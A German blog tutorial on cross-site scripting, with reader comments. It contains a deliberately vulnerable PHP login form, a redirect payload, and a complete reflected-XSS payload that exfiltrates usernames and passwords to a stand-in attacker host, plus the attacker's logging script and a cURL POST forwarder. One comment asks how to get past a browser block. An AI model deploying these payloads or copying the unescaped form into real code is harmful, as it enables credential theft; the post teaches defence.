Das ist der Anfang einer kleinen Serie, die das Thema „Websecurity“ umreißt. Dabei werde ich mit konkreten Angriffsszenarien auf die Techniken XSS, Session Highjacking + Session Fixation, SQL Injection und CSRF eingehen. Die Grundlage legen wir mit diesem Artikel und XSS, da viele der späteren Angriffe auf XSS aufsetzen.
Was ist XSS / Cross-Site-Scripting?
Sollte doch eigentlich mittlerweile jeder wissen, oder? Jegliche Möglichkeit, als Angreifer eigenen Javascript-Code auf eine Webseite zu schleusen.
Varianten von XSS
Grundsätzlich unterscheidet man zwischen 2 verschiedenen Arten des Cross-Site-Scriptings: Die dauerhafte Unterbringung von eigenem Code auf einer Webseite und die temporäre. Auf beide gehe ich nachher mit konkreten Angriffsszenarien ein.
- Dauerhaftes XSS: Bei der dauerhaften Variante kann man sich z.B. vorstellen, dass der Angreifer Javascript-Code in ein Gästebuch einschleusen kann, welches dann in der Datenbank gespeichert wird und allen folgenden Besuchern wieder ausgeliefert wird.
- Temporäres XSS: Der Angreifer schickt seinem Opfer einen präparierten Link zu, der dann bspw. auf der Anmeldeseite exklusiv für diesen Benutzer ein Script einbindet. Dieses kann dann zum Beispiel Cookies auslesen oder einen kleinen „Keylogger“ installieren und die gesammelten Daten dann an den Angreifer übertragen. Solch einen Link kann man elegant durch einen Short-URL-Service tarnen und diesen dann bei Twitter / facebook oder ähnlichem publik machen. Irgendwer fällt leider immer drauf rein.
Was kann man mit XSS schon gefährliches machen…
So hab ich bis vor kurzem auch noch gedacht und damit XSS fälschlicherweise total unterschätzt. XSS kann dem Angreifer die Möglichkeit geben, einen oder gleich mehrere Accounts zu übernehmen. Weniger dramatisch, aber trotzdem ärgerlich könnte auch das Gästebuch von Greenpeace auf eine pro-Atomkraft Webseite weitergeleitet werden.
Bring on the code
Dauerhaftes XSS
Der Entwickler vergisst, den Userinput zu validieren. Das kann etwa so aussehen, dass er auf htmlentities / htmlspecialchars verzichtet, wenn er einen Gästebucheintrag abspeichert. Wenn man sich mal vorstellt, was los wäre wenn auf der Facebook-Pinnwand oder bei Twitter sowas möglich wäre… Ein „Gästebucheintrag“ könnte dann bestenfalls wie folgt aussehen:
<script>document.location = "http://www.evil-website.com";</script>
Würde bewirken, dass alle Besucher des Gästebuchs weitergeleitet werden. So könnte man sehr subtil auf eine Phishing-Webseite weiterleiten.
Es gibt ja die goldene Regel vertraue GARKEINEM Userinput. Selbst die Angaben aus $_SERVER, die vom Benutzer verändert werden können, sind nicht vertrauenswürdig. Beispiel: Eine Seite liest den Browser des Users mit
$browser = $_SERVER['HTTP_USER_AGENT'];
aus, um auf der Webseite zu Informationszwecken allen Benutzern anzuzeigen, welche Browser gerade online sind. Der User-Agent kann vom Benutzer aber beliebig verändert werden. Da kann also locker mal Javascript drin stehen.
Temporäres XSS
Man stelle sich mal folgende Login-Maske vor:
<h1>Please Log In</h1> <form method="GET" action="<?php echo $_SERVER['PHP_SELF']; ?>"> <div> <label for="username">Username:</label> <input id="username" type="text" name="username" value="<?php echo $_GET['username']; ?>" /> </div> <div> <label for="pass">Pass:</label> <input id="pass" type="text" name="pass" value="<?php echo $_GET['pass']; ?>" /> </div> <div> <input type="submit" id="send"> </div> </form>
Gar nicht so abwegig, oder? Das geübte Auge erkennt sofort die Schwäche: Der Username und das Passwort wird ungefiltert aus $_GET wieder in die Felder übernommen. Wird aus Bequemlichkeitsgründen gern gemacht, falls der Benutzer sich vertippt hat. Was nun, wenn ich einem Benutzer dieser Webseite folgenden Link zuschicke:
http://www.webseite.de/login.php?username="><script>alert("Hallo!");</script>
Wahnsinn! Der Benutzer wird mit einer alert-Box begrüßt. Wirklich garstig! Okay, Spaß bei Seite. Folgendes kann man sich vorstellen:
http://www.webseite.de/login.php?"><script>window.setTimeout(function(){document.getElementById("send").onclick=onsubmit;function onsubmit(){var theimg=document.createElement("img"),user=document.getElementById("username").value,pass=document.getElementById("pass").value,url="http://localhost/xssexploit.php?username="%2Buser%2B"%26pass="%2Bpass%2B"%26nocache=time";theimg.src=url;document.body.appendChild(theimg);theimg.style.display="none";window.setTimeout(function(){document.forms[0].submit();},1000);return false;}},1000);</script><span id="nothing
Das dröseln wir mal auf:
<script> window.setTimeout(function() { document.getElementById("send").onclick=onsubmit; function onsubmit() { var theimg=document.createElement("img"), user=document.getElementById("username").value, pass=document.getElementById("pass").value, url="http://www.attacker.de/xssexploit.php?username="%2Buser%2B"%26pass="%2Bpass%2B"%26nocache=time"; theimg.src=url; document.body.appendChild(theimg); theimg.style.display="none"; window.setTimeout(function() { document.forms[0].submit(); },1000); return false; } },1000); </script> <span id="nothing
Erklärungen dazu:
- Wir schachteln den kompletten Code in einen Timeout, weil wir ja in das Feld username den XSS-Code einschleusen. Dieses ist typischerweise über dem Submit-Button platziert, der also zur Verarbeitungszeit des XSS-Javascripts noch nicht bekannt ist. Deswegen warten wir etwas, bis der Button garantiert geredert ist.
- Wir geben dem Submit Button einen onclick-Handler mit
- In diesem onclick-Handler schnappen wir uns den Wert des Feldes „username“ und den des Feldes „pass“. und erstellen ein unsichtbares Bild, welches ein Script auf der Seite des Angreifers mit diesen Informationen aufruft. Zu Beachten: Das „+“-Zeichen muss mit %2B encodet werden, da es sonst als Leerzeichen interpretiert wird. Auch das & durch %26 zu ersetzen ist empfehlenswert
- Wir definieren einen Timeout, der die Form in einer Sekunde abschickt. So gehen wir sicher, dass das Script auch garantiert geladen wird und alle Daten an den Angreifer übertragen werden konnten.
- Wir returnen false im onclick-Handler um ein sofortiges Absenden der Form zu verhindern.
- Schlussendlich wird noch
<span id="nothing
angehängt, weil sonst die Zeichen “ /> hinter dem „gehighjackten“ username-Feld erscheinen würden. Das span ist unsichtbar und frisst diese Zeichen weg, um den User nicht misstrauisch zu machen.
Auf der Angreifer-Seite unter http://www.attacker.de/xssexploit.php liegt nun folgendes Script:
$data = "Username: ".$_GET['username']." / Password: ".$_GET['pass']."\r\n"; file_put_contents("userdata.txt",$data,FILE_APPEND);
Ganz simpel. Das Opfer wird von dem Angriff nichts merken, weil es sich wie gewohnt einloggen kann, der Angreifer kriegt seine Passwort-Datei befüllt.
Aber wer verwendet denn schon $_GET, mit $_POST wäre das nicht möglich!
Schön wärs… Man muss nur etwas kreativer als Angreifer werden. Ich platziere eine Datei xssforward.php auf meinem Webspace. Die Datei hat folgenden Inhalt:
$xss = '"><script>window.setTimeout(function(){document.getElementById("send").onclick=onsubmit;function onsubmit(){var theimg=document.createElement("img"),user=document.getElementById("username").value,pass=document.getElementById("pass").value,url="http://localhost/xssexploit.php?username="%2Buser%2B"%26pass="%2Bpass%2B"%26nocache=time";theimg.src=url;document.body.appendChild(theimg);theimg.style.display="none";window.setTimeout(function(){document.forms[0].submit();},1000);return false;}},1000);</script><span id="nothing'; $ch = curl_init('http://www.webseite.de/login.php'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "username=$xss"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch);
Damit wird einfach nur ein POST-Request auf die Login-Seite abgesetzt, welcher das XSS einschleust. Wenn ich jetzt meine Seite noch durch einen Short-Link-Service verschlüssele, ist das auch ziemlich unauffällig. Anmerkung: Normalerweise würde bei einem ungültigen Login von der Anmeldeseite zumindest ein Warnhinweis ausgegeben werden, der den Benutzer misstrauisch machen könnte.
Und was mache ich nun dagegen?
Alles, was Userinput ist, mit htmlentites oder htmlspecialchars encoden und generell keinem Userinput vertrauen. Keinem!
Ergänzung: Ein Hoch auf den IE
Mir ist grad aufgefallen, dass der IE8 XSS erkennt und verhindert. Echt gut! Hätte nicht gedacht, dass ich nochmal eine Lobpreisung für den IE 8 aussprechen würde.
Sehr gut erklärt und hilfreich. Leider kommen Angriffsversuche wirklich oft vor und wenn man da nicht vorgesorgt hat ist es nur eine Frage der Zeit bis man gehackt wird.
Hi,
in einem Beispiel hast du noch den Parameter „username“ vergessen.
Ansonsten super Beispiel. Funktioniert nur leider nicht, wenn die unsäglichen magic quotes on sind.
grüße
Schneider
Hallo, ich habe das ganze mal getestet aber sobald ich auf den daten absenden button drücke kommt der Text ‚Blocked‘ wie kann man das ändern?